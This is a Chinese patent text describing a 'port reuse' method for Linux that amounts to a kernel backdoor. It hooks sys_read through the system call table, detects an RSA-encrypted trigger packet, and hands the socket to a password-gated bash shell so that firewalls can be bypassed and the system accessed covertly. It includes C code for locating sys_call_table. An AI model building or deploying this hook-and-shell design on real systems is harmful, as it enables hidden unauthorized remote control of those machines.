一种基于Linux系统的端口复用方法
文献发布时间:2023-06-19 09:51:02
技术领域
本发明涉及计算机访问控制领域技术,尤其是指一种基于Linux系统的端口复用方法。
背景技术
Linux,全称GNU/Linux,是一套免费使用和自由传播的类Unix操作系统,是一个基于POSIX和Unix的多用户、多任务、支持多线程和多CPU的操作系统。伴随着互联网的发展,Linux得到了来自全世界软件爱好者、组织、公司的支持。它除了在服务器方面保持着强劲的发展势头以外,在个人电脑、嵌入式系统上都有着长足的进步。使用者不仅可以直观地获取该操作系统的实现机制,而且可以根据自身的需要来修改完善Linux,使其最大化地适应用户的需要。
Linux不仅系统性能稳定,而且是开源软件。其核心防火墙组件性能高效、配置简单,保证了系统的安全。在很多企业网络中,为了追求速度和安全,Linux不仅仅是被网络运维人员当作服务器使用,Linux既可以当作服务器,又可以当作网络防火墙是Linux的 一大亮点。
目前,正常情况下,Linux系统下端口只能由一个进程绑定,其它服务需要开启必需更换其它端口,开放端口过多,增加被攻击的风险,而且一般防火墙只开放特定端口,其它端口禁止访问。因此,有必要研究一种方案以解决上述问题。
发明内容
有鉴于此,本发明针对现有技术存在之缺失,其主要目的是提供一种基于Linux系统的端口复用方法,其能有效解决现有之Linux系统下端口只能由一个进程绑定导致开放端口过多的问题。
为实现上述目的,本发明采用如下之技术方案:
一种基于Linux系统的端口复用方法,包括有以下步骤:
(1)在Linux系统内核层hook sys_read函数找到system call table,备份当前sys_read函数地址,用新的函数替换掉sys_read函数;
(2)对步骤(1)中sys_read的每个数据进行检测是否符合特定的二进制数据,如果符合,找到fd所属的socket;
(3)启动内核线程,通过步骤(2)中的socket生成一个新的fd,利用sys_dup2复制fd到内核线程,最后启动bash进程。
优选的,所述步骤(2)中检测到数据后用rsa解密。
优选的,所述步骤(2)中sys_read函数通过后,交给sockfd_lookup函数,用于查找fd所在的socket,该函数由内核提供,接前调用kernel_thread启动内核线程,同时把socket传递给内核线程。
优选的,所述步骤(3)中内核线程启动后调用sock_map_fd函数生成新的fd,调用sys_read等待客户端发送shell访问密码,如果密码正确则继续调用sys_dup2复fd到当前内核线程;最后调用call_usermodehelper函数启动用户态进程bash,利用子进程继承机制,由bash全面接管当前socket。
本发明与现有技术相比具有明显的优点和有益效果,具体而言,由上述技术方案可知:
通过采用本发明方法,内核检测到数据时,复用端口的socket,达到通过常用端口访问Linux的目的,减少对外开放的端口,没用多余的端口,有效降低了被攻击的风险,同时能穿透防火墙,达到隐蔽访问系统的目的。
附图说明
图1是本发明之较佳实施例的流程图。
具体实施方式
如图1所示,本发明揭示了一种基于Linux系统的端口复用方法,包括有以下步骤:
(1)在Linux系统内核层hook sys_read函数找到system call table,备份当前sys_read函数地址,用新的函数替换掉sys_read函数;
hook sys_read函数,这里帖上相关代码:
sys_call_table = find_sys_call_table();
sys_call_table[__NR_read] = (long)&n_sys_read;
#if defined(_CONFIG_X86_)
// Phrack #58 0x07; sd, devik
unsigned long *find_sys_call_table ( void )
{
char **p;
unsigned long sct_off = 0;
unsigned char code[255];
asm("sidt %0":"=m" (idtr));
memcpy(&idt, (void *)(idtr.base + 8 * 0x80), sizeof(idt));
sct_off = (idt.off2 << 16) | idt.off1;
memcpy(code, (void *)sct_off, sizeof(code));
p = (char **)memmem(code, sizeof(code), "\xff\x14\x85", 3);
if ( p )
return *(unsigned long **)((char *)p + 3);
else
return NULL;
}
#elif defined(_CONFIG_X86_64_)
unsigned long *find_sys_call_table ( void )
{
char **p;
unsigned long sct_off = 0;
unsigned char code[512];
rdmsrl(MSR_LSTAR, sct_off);
memcpy(code, (void *)sct_off, sizeof(code));
p = (char **)memmem(code, sizeof(code), "\xff\x14\xc5", 3);
if ( p )
{
unsigned long *sct = *(unsigned long **)((char *)p + 3);
// Stupid compiler doesn't want to do bitwise math on pointers
sct = (unsigned long *)(((unsigned long)sct & 0xffffffff) |0xffffffff00000000);
return sct;
}
else
return NULL;
}
#endif
这里区分32位和64位系统,关键指令rdmsrl和asm("sidt %0":"=m" (idtr));通过系统特殊指令可以读取MSR寄存器的数据,找到系统调用表。
(2)对步骤(1)中sys_read的每个数据进行检测是否符合特定的二进制数据,如果符合,找到fd所属的socket;
具体是,客户端通过rsa公钥加密数据发送到Linux服务器,sys_read函数检测到数据后,用rsa解密,数据格式如下:
私有协议数据:
sys_read函数通过后,交给sockfd_lookup函数,用于查找fd所在的socket,该函数由内核提供,接前调用kernel_thread启动内核线程,同时把socket传递给内核线程,调用如下:
kernel_thread((void *)kernel_worker, (void *)sock, CLONE_KERNEL)
(3)启动内核线程,通过步骤(2)中的socket生成一个新的fd,利用sys_dup2复制fd到内核线程,最后启动bash进程。具体是,内核线程启动后调用sock_map_fd函数生成新的fd,调用sys_read等待客户端发送shell访问密码,如果密码正确则继续调用sys_dup2复fd到当前内核线程;最后调用call_usermodehelper函数启动用户态进程bash,利用子进程继承机制,由bash全面接管当前socket。
本发明的设计重点是:通过采用本发明方法,内核检测到数据时,复用端口的socket,达到通过常用端口访问Linux的目的,减少对外开放的端口,没用多余的端口,有效降低了被攻击的风险,同时能穿透防火墙,达到隐蔽访问系统的目的。
以上结合具体实施例描述了本发明的技术原理。这些描述只是为了解释本发明的原理,而不能以任何方式解释为对本发明保护范围的限制。基于此处的解释,本领域的技术人员不需要付出创造性的劳动即可联想到本发明的其它具体实施方式,这些方式都将落入本发明的保护范围之内。
- 一种基于Linux系统的端口复用方法
- 一种基于Linux系统的USB端口绑定结构和方法